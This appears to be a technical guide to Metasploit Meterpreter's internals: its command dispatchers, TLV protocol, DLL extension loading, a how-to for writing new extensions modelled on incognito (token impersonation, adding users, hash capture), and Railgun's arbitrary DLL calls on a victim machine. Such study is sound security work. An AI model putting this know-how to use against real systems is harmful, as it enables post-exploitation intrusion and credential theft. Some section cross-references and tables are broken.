The `run` method defined in the `Rex::Ui::Text::Shell` class provides the mechanism through which user commands are executed. When the command is to be executed the `run` method calls the `run_single` method of `Rex::Ui::Text::DispatcherShell` class which iterates through the stack of registered command dispatchers. If the command to be executed is found in one of the dispatchers then the associated dispatcher, command and arguments are used to call the `run_command` method. The `run_command` method calls the dispatchers `send` method. The `send` method invokes the dispatcher method identified by `cmd_+'user command'`.

The `Rex::Post::Meterpreter::UI::Console::CommandDispatcher` class is the super class for all of the command dispatchers within the meterpreter console user interface and all of the concrete command dispatchers are derived from this class. There are number of command dispatcher classes each offering their own related commands.
The command methods have the same signature mainly `cmd_’user command’(argc*)` where the symbol ‘user command’ represents the typed command, for example typed command `ps` translates to `cmd_ps(argc*)` method defined in the `Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Sys`.

The call trace shown below shows the sequence of calls made to obtain the meterpreter prompt and then calling the `ps` command.

The call trace shown below shows how the command dispatcher object is stored in dispatcher stack when the associated dll (in this case incognito) is uploaded to the server. The `cmd_use` is called when uploading the dll to the server and when the dll is uploaded the `add_extension_client` method is called to register the command dispatcher in this case incognito dispatcher.
The command methods have a similar structure and are responsible for checking the command arguments, then if these are valid calls the equivalent command proxy object to execute the command. Listing shown in below shows how the list_tokens command calls the command proxy object client.incognito.incognito_list_tokens(token_order). The format used to call the proxy command method is client.<extension name><command proxy method>

def cmd_list_tokens(*args)
    token_order = -1
    @@list_tokens_opts.parse(args) { |opt, idx, val|
        case opt
            when "-u"
                token_order = 0
            when "-g"
                token_order = 1
        end
    }
    if (token_order == -1)
        print_line("Usage: list_tokens <list_order_option>
        print_line("Lists all accessible tokens and their privilege ..
        print_line(@@list_tokens_opts.usage)
        return
    end

    system_privilege_check

    tokens = client.incognito.incognito_list_tokens(token_order)

    print_line()
    print_line("Delegation Tokens Available")
    print_line("========================================")
    tokens['delegation'].each_line { |string|
        print(string)
    }
    print_line()
    print_line("Impersonation Tokens Available")
    print_line("========================================")
    tokens['impersonation'].each_line { |string|
        print(string)
    }
    print_line()
    return true
end
11.2.2 Command proxy components

The command proxy classes are derived from the Extension base class. The Extension class provides the initialize method used to set the reference to client object and the name of the extension through which it is referenced.

![Figure 31 Meterpreter command proxy class hierarchy](image)

Each of the derived classes must call the register_extension_aliases method declared in the Rex::Post::Meterpreter::Client class to register the methods declared in the command proxy class so that UI command methods can have access to them to process the command. Listing shown below shows how the Incognito class registers it methods with the client object and an example of one of the Incognito command method incognito_list_tokens.

```ruby
class Incognito < Extension
  def initialize(client)
    super(client, 'incognito')
    client.register_extension_aliases([
      { 'name' => 'incognito', 'ext' => self },
    ])
  end
  def incognito_list_tokens(token_order)
    request = Packet.create_request('incognito_list_tokens')
    request.add_tlv(TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER, token_order)
    response = client.send_request(request)
    return {
      'delegation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION),
      'impersonation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION)
    }
  end
end
```

Each of the command methods creates a request packet then depending on the command adds the command parameter to the request using the protocol API. Once the parameters have been set, the request packet is sent to the server of processing. When the response is received the results of the command are retrieved from the response packet using the protocol API and returned to the caller.

```ruby
# Registers zero or more aliases that are provided in an array.
#
# def register_extension_aliases(aliases)
#   aliases.each { |a|
#     register_extension_alias(a['name'], a['ext'])
#   }
# end
#
# # Registers an aliased extension that can be referenced through client.name.
# def register_extension_alias(name, ext)
#   self.ext_aliases.aliases[name] = ext
#   # Whee! Syntactic sugar, where art thou?
#   # Create an instance method on this object called +name+ that returns +ext+. We have to do it this way instead of simply self.class.class_eval so that other meterpreter sessions don't get extension methods when this one does
#   (class << self; self; end).class_eval do
#     define_method(name.to_sym) do
#       ext
#     end
#   end
# end
```

Call trace shown below shows how the incognito extension methods are registered with the client object after the extension has been uploaded.

![Call trace](image)

**Figure 32 Register extension aliases call trace**

The API exposed by the base classes shown in figure 31 are used to write meterpreter scripts. The `client` object provides the interface through which the API calls are accessed. To use the API calls first obtain the meterpreter prompt and then drop into `irb` mode. Examples of meterpreter scripts can be found in `/scripts/meterpreter`.
11.3 Meterpreter Protocol

Meterpreter uses a protocol called Type Length Value (TLV). Type and length are 4 bytes and the value is N bytes. Meterpreter usage of the traditional TLV protocol is that it flips the TL values making it length type value protocol; however as in the Meterpreter documentation the protocol is still referred to as the TLV protocol.

The client will send a request to the server specifying a type. This tells the server how to process the request, the length and the value, all of which help the server perform some request. A response is formed using the same principles of TLV: the response has a type a length and finally a value. The value can be another TLV. The nesting of TLVs allows for dynamic responses and representation of complex data structures. The meterpreter protocol details can be found in [2].

11.3.1 Client side protocol API

Class hierarchy shown in figure 33 shows the main classes responsible for providing the client side protocol API. The Rex::Post::Meterpreter::Tlv class contains the type and the value attributes, the Rex::Post::Meterpreter::GroupTlv class contains the array of Tlvs and the Rex::Post::Meterpreter::Packet class forms the logical meterpreter packet class.

Figure 33 Protocol class hierarchy

Figure 34 shows the initialisation call trace for the protocol classes.
From clients point of view the first step is to create a request packet by calling the `create_request` class method declared in the `Rex::Post::Meterpreter::Packet` class. This class method creates request packet and the first two Tlv objects whose types are TLV_TYPE_METHOD and TLV_TYPE_REQUEST_ID.

The TLV_TYPE_METHOD Tlv holds the method that is to be executed on the server and the TLV_TYPE_REQUEST_ID Tlv holds a unique request identifier that is used for associating request and response packets as we will see later. A request that has a response must have a TLV_TYPE_REQUEST_ID included when it is transmitted. The response to the request will contain the same request identifier. Once the request packet is created, further Tlv value can be added to the request depending on the method to be executed on the server. Figure 35 shows the request generated by the `incognito_list_tokens(token_order)` method discussed in section 12.2.2.

Figure 35 Incognito list token request packet

Figure 36 show the response packet received. Notice the first two Tlv values; these correspond to the request packet. Once the response is received the protocol API is used to retrieve the results as shown in the `incognito_list_tokens(token_order)` method listing discussed in section 12.2.2.

Figure 36 Incognito list token response packet
11.3.2 Server side protocol API

The listing shown below shows how the request generated by the `incognito_list_tokens(..)` method discussed in section 12.2.2 is processed.

To process the request, the request parameters are retrieved from the request packet using the server side protocol API. A number of API calls are provided for each of the different parameter types. In the example below the `packet_get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER)` call retrieves the token_order which we know to be a unit type.

After processing the request the response parameter are added to the response packet and then transmitted to the client.

To see how the response parameters are retrieved from the response packet see section 12.2.2

```c
DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) {
    ..
    ..
    Packet *response = packet_create_response(packet);

    token_order = packet_get_tlv_value_uint(packet,
            TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER);

    // Enumerate tokens
    token_list = get_token_list(&num_tokens);
    if (!token_list)
    {
        packet_transmit_response(GetLastError(), remote, response);
        return ERROR_SUCCESS;
    }
    ..
    ..
    ..

    packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION,
                        delegation_tokens);
    packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION,
                        impersonation_tokens);
    packet_transmit_response(ERROR_SUCCESS, remote, response);

    free(token_list);
    free(uniq_tokens);
    free(delegation_tokens);
    free(impersonation_tokens);

    return ERROR_SUCCESS;
}
```

Server side protocol API calls are listed in the `/external/source/meterpreter/source/common/core.h` file. More examples of how the server side protocol API is used can be found in the `/external/source/meterpreter/source/extensions/` directories.
11.4 Server components

The main functions which control the heart of the Meterpreter server are shown in figure 37. The main functions of the server are:

1. Server initialisation
2. Establish a secure connection with the client
3. Load an extension dll
4. Listen for and process client requests
5. Migrate to a new process

![Diagram of Meterpreter Server DFD](image)

After loading the server dll, the payload calls the `Init` function, which in turn calls the `server_setup` function. The `server_setup` function first initialises the openSSL subsystem and performs the ssl negotiation with client then calls the `register_disatch_routines` function. This function calls the `command_register` function to register the commands and finally the `server_dispatch` function is called. The `server_dispatch` function provides the main dispatch loop for incoming requests, when a request packet is received a separate thread is started to process the request by calling the
command_process_thread function. After retrieving the Remote and Packet data from the thread parameters the command_process_thread function proceeds to extracts the method (in our example that would be incognito_list_tokens) from the packet and then searches the command[] array. The command[] array is searched for a registered method, if found the command_call_dispatch() function is called to process the request. Before discussing the function let's see how the Command data structure is declared.

/* Command dispatch table types */

typedef DWORD (*DISPATCH_ROUTINE)(Remote *remote, Packet *packet);

#define MAX_CHECKED_ARGUMENTS 16

#define ARGUMENT_FLAG_REPEAT (1 << 28)
#define ARGUMENT_FLAG_MASK 0xffffffff

// Blank dispatch handler
#define EMPTY_DISPATCH_HANDLER NULL, { 0 }, 0

// Place holders
#define EXPORT_TABLE_BEGIN()
#define EXPORT_TABLE_END()

typedef struct PacketDispatcher
{
    DISPATCH_ROUTINE handler;
    TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
    DWORD numArgumentTypes;
} PacketDispatcher;

typedef struct command
{
    LPCSTR method;
    PacketDispatcher request;
    PacketDispatcher response;

    // Internal -- not stored
    struct command *next;
    struct command *prev;
} Command;

Best way to understand how the Command structure is used to handle requests is to look at an example, listing shown below is a part of a customCommand[] array declared in
/external/source/meterpreter/source/extensions/incognito/incognito.c

Command customCommands[] =
{
    // List tokens
    { "incognito_list_tokens",
    { request_incognito_list_tokens,                     { 0 }, 0 },
    { EMPTY_DISPATCH_HANDLER },
    },
    ...
};

The information in this array represents the method name (name of request or name of response) and a pointer to the function that should be called if such a method is requested. In this case the client wants
request_incognito_list_tokens to be called. The server will execute this function and respond with results as discussed in section 12.2.2.

Listing extract from command_process_thread function shows how the command array is searched to locate the command array element which is then used to call the request handler as shown in the command_call_dispatch() listing.

do {
    // Extract the method
    result = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
    if( result != ERROR_SUCCESS )
        break;
    dprintf( "[COMMAND] Processing method %s", methodTlv.buffer );

    // Get the request identifier if the packet has one.
    result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
    if( result == ERROR_SUCCESS )
        requestId = (PCHAR)requestIdTlv.buffer;
    method = (PCHAR)methodTlv.buffer;
    result = ERROR_NOT_FOUND;

    // Try to find a match in the dispatch type
    for( index = 0, result = ERROR_NOT_FOUND ; result == ERROR_NOT_FOUND &&
        commands[index].method ; index++ )
    {
        if( strcmp( commands[index].method, method ) )
            continue;

        // Call the base handler
        result = command_call_dispatch(&commands[index],remote, packet);
    }

...}

DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet)
{
    ..

    switch (packet_get_type(packet))
    {
    case PACKET_TLV_TYPE_REQUEST:
        if (command->request.handler) 
            res = command->request.handler(remote, packet);
        break;
    case PACKET_TLV_TYPE_RESPONSE:
    case PACKET_TLV_TYPE.PLAIN_RESPONSE:
        if (command->response.handler) 
            res = command->response.handler(remote, packet);
        break;
    default:
        res = ERROR_NOT_FOUND;
        break;
    }
    return res;
}
11.5 Server extensions

Before discussing the interface between the server and an extension let’s see how the extension gets loaded. To load the incognito extension, execute the following command:

```bash
meterpreter> use incognito
```

The `cmd_use` method declared in the Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Core class handles the command. The call trace shown in figure 38 shows the method `load_library` declared in the Rex::Post::Meterpreter::ClientCore creates and sends the actual request packet to the server.

![Figure 38 load extension request packet](image)

When the request is received by the server the `request_core_loadlib(..)` function declared in the file `/external/source/meterpreter/source/server/win/remote_dispatch.c` process’s the request. The first step is to retrieve the request parameters and then accordingly load the extension dll. Having injected the dll into the exploited process the address of the initialise routine (InitServerExtension) is evaluated and is then called to initialise the extension. The extension command methods are then retrieved from the command array and are added to the response packet. After adding the result of the InitServerExtension routine the response packet is returned to the client. The details of the response packet are shown in Figure 39.
When the `load_library` method receives the response the TLV_TYPE_METHOD data values are extracted and copied to the command array so that they available to the user when the user types `help` on the meterpreter prompt.

The extension dll is now loaded and available for the user.
12 Writing Meterpreter Extensions

Having established how the various meterpreter components hang together we can now lay some foundations on how to develop meterpreter extensions. The following steps summarises the process:

1. Design the commands, requests and responses
2. Implement enough of the extension to test the requests and responses
3. Develop the command dispatcher class
4. Develop the command proxy class
5. Test the skeleton extension
6. Develop rest of the extension
7. Test, Debug and Release

The existing incognito extension will be used to describe each of these steps.

12.1 Design commands, requests and responses

The first step is to list the command you would like the user to enter. For example for the incognito extension that would be:

meterpreter > list_token <token order>
meterpreter > impersonate_token <user name>
meterpreter > add_user <username> <password> <host>
meterpreter > add_group_user <username> <groupname> <host>
meterpreter > add_localgroup_user <username> <groupname> <host>
meterpreter >snarf_hashes <host>

Next step would be to consider the request parameters and their types. For this you need to be familiar with the protocol types.

From the commands above the request parameters are:

- `TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER` = `TLV_META_TYPE_UINT` | `(TLV_EXTENSIONS + 4)`
- `TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN` = `TLV_META_TYPE_STRING` | `(TLV_EXTENSIONS + 5)`
- `TLV_TYPE_INCOGNITO_USERNAME` = `TLV_META_TYPE_STRING` | `(TLV_EXTENSIONS + 7)`
- `TLV_TYPE_INCOGNITO_PASSWORD` = `TLV_META_TYPE_STRING` | `(TLV_EXTENSIONS + 8)`
- `TLV_TYPE_INCOGNITO_SERVERNAME` = `TLV_META_TYPE_STRING` | `(TLV_EXTENSIONS + 9)`
- `TLV_TYPE_INCOGNITO_GROUPNAME` = `TLV_META_TYPE_STRING` | `(TLV_EXTENSIONS + 10)`

For each request determine the response parameters and their types.

- `TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION` = `TLV_META_TYPE_STRING` | `(TLV_EXTENSIONS + 2)`
- `TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION` = `TLV_META_TYPE_STRING` | `(TLV_EXTENSIONS + 3)`
- `TLV_TYPE_INCOGNITO_GENERIC_RESPONSE` = `TLV_META_TYPE_STRING` | `(TLV_EXTENSIONS + 6)`
Then for each command document the request and the response

meterpreter > list_token <token order> - List tokens available under current user context

<table>
<thead>
<tr>
<th>Request</th>
<th>incognito_list_tokens</th>
</tr>
</thead>
<tbody>
<tr>
<td>Token order</td>
<td>-u or -g</td>
</tr>
<tr>
<td></td>
<td><strong>UINT</strong> TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER = TLV_META_TYPE_UINT</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Response</th>
</tr>
</thead>
<tbody>
<tr>
<td>Delegation token</td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>

| Impersonation token |
|                     | **STRING** TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3) |

meterpreter > add_user <username> <password> <host> Attempt to add a user with all tokens

<table>
<thead>
<tr>
<th>Request</th>
<th>incognito_add_user</th>
</tr>
</thead>
<tbody>
<tr>
<td>username</td>
<td><strong>STRING</strong> TLV_TYPE_INCOGNITO_USERNAME = TLV_META_TYPE_STRING</td>
</tr>
</tbody>
</table>

| password         | **STRING** TLV_TYPE_INCOGNITO_PASSWORD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8) |

| host             | **STRING** TLV_TYPE_INCOGNITO_SERVERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9) |

<table>
<thead>
<tr>
<th>Response</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
12.2 Implement skeleton extension

First you’ll need to define your workspace in:

/external/source/meterpreter/workspace/ext_server_<new-extension>

You will need to add project dependencies of common, ReflectiveDLLInjection, and metsrv for the project to compile.

You can base your workspace on existing extension like the incognito extension

/external/source/meterpreter/workspace/ext_server_incognito

Define your extension source code in:

/external/source/meterpreter/source/extensions/<new-extension>/

One of the first steps in developing an extension is define an array of command handlers. Extract from the incognito command array is shown below.

Command customCommands[] =
{
// List tokens
    { "incognito_list_tokens",
      { request_incognito_list_tokens, { 0 }, 0 },
      { EMPTY_DISPATCH_HANDLER },
    },

// Impersonate token
    { "incognito_impersonate_token",
      { request_incognito_impersonate_token, { 0 }, 0 },
      { EMPTY_DISPATCH_HANDLER },
    },

... // Terminator
    { NULL,
      { EMPTY_DISPATCH_HANDLER },
      { EMPTY_DISPATCH_HANDLER },
    },
};
Next step is to implement each of the command handler routines. For the first phase just implement enough of the code to handle the request and creating the response packet.

```c
DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
{
  ..
  Packet *response = packet_create_response(packet);
  Get request values using
  = packet_get_tlv_value_*(packet, TLV_TYPE_*)
  
  Process request

  Generate response packet
  packet_add_tlv_*(response, TLV_TYPE_*, value);
  packet_transmit_response(ERROR_SUCCESS, remote, response);
  ..
  return ERROR_SUCCESS;
}
```

As discussed above, an extension must implement the initialise function as shown below.

```c
/*
 * Initialize the server extension
 */
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
  DWORD index;

  hMetSrv = remote->hMetSrv;

  for (index = 0;
       customCommands[index].method;
       index++)
    command_register(&customCommands[index]);

  return ERROR_SUCCESS;
}
```
12.3 Implement command dispatcher class

These were discussed in section 11.2.1. Define a class in:

/lib/rex/post/meterpreter/ui/console/command_dispatcher/new-extension.rb

For each of the commands, you need to implement a method to receive the commands from ui, for example `cmd_<user typed command>(*args)` verify the arguments, call the corresponding command proxy method and then process the response.

You can see how to do arguments in the `Console::CommandDispatcher::Incognito` class. Be sure to use the `print_line`, `print_error`, etc. functions to display output instead of `puts`, so your output will be displayed in all the UI's and follow the other instructions in the HACKING file.

12.4 Implement command proxy class

These were discussed in section 11.2.2. First you’ll need to define your request and response types in:

/lib/rex/post/meterpreter/extensions/new-extension/tlv.rb

Next, define a class that will act as a command proxy to your extension, in

/lib/rex/post/meterpreter/extensions/new-extension/new-extension.rb

For each of the commands, you need to implement a method to receive the command from the command dispatcher method, for example `<extension name>_<user typed command>( arguments passed depends on the command).

You can use `Packet.create_request` and `request.add_tlv` to create the request. Then call `client.send_request`, which will return the response packet and use `response.get_tlv_value` to get data from the response.

See the example for incognito in:

/lib/rex/post/meterpreter/extensions/incognito/incognito.rb

/lib/rex/post/meterpreter/extensions/incognito/tlv.rb
13 Railgun

Railgun is a Meterpreter Stdapi extension that allows an attacker to call DLL functions directly. In most cases it is used to make calls to the Windows API, but can be used call any DLL on the victim’s machine.

To make Railgun calls drop into an interactive Ruby session by executing the `irb` command in a meterpreter session:

```ruby
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
```

The syntax to call the DLL function is:

```ruby
client.railgun.{DLL-Name}.{FunctionName} ({Parameters})
```

```ruby
>> client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")
```

A message box should pop up on the target system. After you click away the message box you get this:

```ruby
=> {"GetLastError"=>0, "return"=>1}
```

![Figure 41 Railgun User32 MessageBoxA call](image-url)
In rest of this section we will see how this simple yet powerful call is implemented. The class diagram for Railgun is shown in figure 42.

As stated above the syntax to call the DLL function is:

client. railgun.(DLL-Name).(FunctionName) ((Parameters))

So, the user can call a function of any dll on the target machine, how is this possible programmatically, well the Ruby's method_missing call comes to the rescue. The method_missing method is invoked by Ruby when object is sent a message it cannot handle. The method_missing method declared in the Rex::Post::Meterpreter::Extension::Stdapi::Railgun::Railgun class is called when the above script is executed.

```ruby
def method_missing(dll_symbol, *args)
  dll_name = dll_symbol.to_s
  unless known_dll_names.include? dll_name
    raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, '')}"
  end

  dll = get_dll(dll_name)
  return DLLWrapper.new(dll, client)
end
```

The Railgun object is associated with many DLL objects (dlls) and each DLL object is associated with many DLLFunction objects (functions) these relationships are built at runtime. The method_missing method first checks to see if the referenced dll is in the list of dlls the Railgun can handle. The get_dll(.) method is called next. The get_dll() method proceeds to create the dll object if not cached by calling the create_dll() method of the reference dll.
The ..\meterpreter\extensions\stdapi\railgun\def directory provides the definitions for each of the DLLs that Railgun can handle. Each of these classes provides a class method create_dll() which first create the DLL object and then calls the add_function() defined by the DLL class to initialise the functions array for that DLL object and returns the dll object which the railgun object caches.

The call trace below shows how the netapi32 dll is cached by the railgun object.

The returned dll object is used to create the DLLWrapper object which encapsulates the processing of the request and the response by calling the call_function() method of the dll object. After retrieving the function details the call_function() method calls the process_function_call() method which processes the request and return results to the caller. The process_function_call() method first checks to see if the user has provided the correct number of function arguments and proceeds to build the packet buffer according to the function parameter requirements and the arguments provided by the user. Once the request packet has been set the function calls the send_request() method to send the request to the server. The response from the meterpreter server is then processed and the results returned to the user. Figures 44 and 45 shows the request and response packets for the function call:

client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")
The request handler `request_railgun_api()` defined in the file `external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun.c` is called when the meterpreter server receives the request. The function `request_railgun_api()` first sets the memory for the `RAILGUN_INPUT` and `RAILGUN_OUTPUT` data structures and proceeds to initialise the `rInput` data structure in accordance with the request received and then calls the `railgun_call()` function. The `railgun_call()` function loads the specified dll by calling the `LoadLibraryA()` system function and then gets the function address by calling the `GetProcAddress()` system function. Then the function arguments data structures are initialised and finally the requested function is called.

The following definitions are used to call the function:

```c
#define p(i) (ULONG_PTR)pStack[i]
#define function(i) ((STDCALL_FUNC_##i)pFuncAddr)
#define cdecl_func(i) ((CDECL_FUNC_##i)pFuncAddr)

typedef ULONG_PTR (__stdcall * STDCALL_FUNC_00)( VOID );
typedef ULONG_PTR (__stdcall * STDCALL_FUNC_01)( ULONG_PTR );
typedef ULONG_PTR (__stdcall * STDCALL_FUNC_02)( ULONG_PTR, ULONG_PTR );
```

case 1: pOutput->qwReturnValue = function(01)(p(0)); break;

is equivalent to

```c
case 1: .. = (STDCALL_FUNC_01)pFuncAddr)((ULONG_PTR)pStack[0]); break;
```
13.1 Meterpreter scripts

Existing meterpreter scripts can be found in the /scripts/meterpreter directory. The scripts are based on API exposed by Railgun and bases classes shown in figure 31. To run a script from the Meterpreter console, enter run <scriptname>.

The script will either execute or provide additional help on how to run it. To see how the scripts are executed set a break point on the cmd_run method defined in the Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Core class and then step through the code. The Meterpreter script call trace is shown in figure 47.

![Figure 47 Meterpreter script call trace](image-url)